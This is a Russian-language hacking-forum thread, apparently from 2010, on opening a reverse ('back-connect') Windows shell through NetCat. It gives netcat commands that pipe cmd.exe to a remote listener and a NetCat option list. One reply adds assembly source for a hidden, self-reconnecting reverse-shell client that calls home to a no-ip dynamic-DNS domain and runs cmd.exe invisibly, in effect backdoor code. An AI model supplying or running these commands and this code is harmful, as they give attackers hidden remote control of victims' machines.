PDA

Просмотр полной версии : Windows и бекконнект через NetCat(nc.exe)


Nightmarе
30.04.2010, 20:44
Очень интересует, как сделать бекконнект через NetCat с открытием удаленной консоли.

К примеру, есть компьютер с внешним IP (условно К1)
И есть компьютер с IP адресом за NAT ( условно К2)
Так вот на компьютере К2 надо поднять удалённую консоль (cmd.exe) для компьютера К1.
У обоих компьютеров ось - Windows

Я знаю что можно на внешнем IP адресе поднимать консоль, делается это не сложно:
nc.exe -v -l -p 51102 -e cmd.exe
А далее через Telnet (или Putty) спокойно коннектимся на порт 51102 и рулим консолью.

Но реализуемо ли это для бекконнекта? Если такое можно сделать, то напишите пожалуйста параметры для обоих компьютеров, как такое можно реализовать.

fker
30.04.2010, 21:19
K1: nc -l -p 1234
K2: nc -e cmd [ip_K1] 1234

Nightmarе
30.04.2010, 21:30
Вот спасибо, всё работает как надо.
А многие между прочем утверждали, что консольный бекконнект в винде невозможен.

Nightmarе
30.04.2010, 21:35
Да, при тестировании сейчас заметил, что после первой выполненной команды соединение разрывается.
Тестировал на 3 разных машинах, XP, Vista, Win7 везде одно и тоже. (это были клиенты)
У меня сервер Win7 остаётся неизменным, в чём дело хз. Может каких аргументов не хватает типа -L (удержание какого то соединения, хз какого и про что)

fker
01.05.2010, 02:16
Странно, у меня все норм на ХР
Попробуй запустить сервер с опцией -v, так доп информация выводится.
nc -l -v -p 1234
краткий список параметров:
-h Справка; ничего не делается
-v Дополнительная диагностика (verbose)
-o выходной_файл Выводить дампы данных
-i число Задержка между отправляемыми данными (в секундах)
-t Совместимость с Telnet
-z Не посылать данные (сканирование портов)
-u Подключаться по UDP (вместо TCP)
-l Пассивный режим (прослушивание порта)
-p число * Локальный номер порта (для -l)
-s host Использовать заданный локальный («свой») IP-адрес
-n Отключить DNS и поиск номеров портов по /etc/services
-w число Задать таймаут (в секундах)
-q число Задать время ожидания после EOF на входе (в секундах) **
-e исполняемый_файл ! Запустить указанную программу для обмена данных с сетью (вместо стандартных ввода и вывода)
-с команда ! То же, в виде команды для /bin/sh

здесь подробней все описаны (https://forum.antichat.ru/thread107655.html) , давненько копипастил на ачат

Nightmarе
01.05.2010, 02:27
Ещё раз спасибо!

Lamia
01.05.2010, 09:18
Либо по типу этого,неткат у нас выступает в роли сервера,а наша прожка в качестве клиента.Регим домен на no-ip.com,в нстройках указываем этот домен,на своей стороне открываем порт,что в настройках нашего файла,запускаем
у себя неткат в режиме прослушки nc.exe -l -n -v -p 145,а на другом конце нашу прожку и вуаля.


IP db 'xxx.no-ip.biz',0
port = 145

proc shell_thread
locals
saddr sockaddr_in
socket dd ?
endl

invoke ntohs,port
mov [saddr.sin_port],ax
mov [saddr.sin_family],AF_INET
.loop_@@:
invoke WSASocket,AF_INET,SOCK_STREAM,0,0,0,0
cmp eax,-1
je .exit
mov [socket],eax
@@:
stdcall NetResolve,IP
test eax,eax
jne @f
invoke Sleep,1000
jmp @b
@@:
mov [saddr.sin_addr],eax
lea eax,[saddr]
invoke connect,[socket],eax,sizeof.sockaddr_in
test eax,eax
jne @f

stdcall run_shell,[socket]
@@:

invoke closesocket,[socket]
invoke Sleep,1000
jmp .loop_@@

.exit:
ret
endp


proc run_shell,socket
locals
s_info STARTUPINFO
p_info PROCESS_INFORMATION
endl
pusha
lea edi,[s_info]
mov ecx,sizeof.STARTUPINFO
xor eax,eax
rep stosb
mov [s_info.cb],sizeof.STARTUPINFO
mov [s_info.dwFlags],100h
mov [s_info.wShowWindow],SW_HIDE
push [socket]
pop [s_info.hStdInput]
push [socket]
pop [s_info.hStdOutput]
push [socket]
pop [s_info.hStdError]
lea edx,[s_info]
lea ecx,[p_info]
invoke CreateProcess,0,cmd,0,0,1,08000000h,0,0,edx,ecx
test eax,eax
je .exit
invoke WaitForSingleObject,[p_info.hProcess],-1
invoke CloseHandle,[p_info.hProcess]
.exit:
popa
ret
endp

proc NetResolve,lpHost
invoke gethostbyname,[lpHost]
or eax,eax
jz .exit
mov eax,[eax+12]
mov eax,[eax]
mov eax,[eax]
.exit:
ret
endp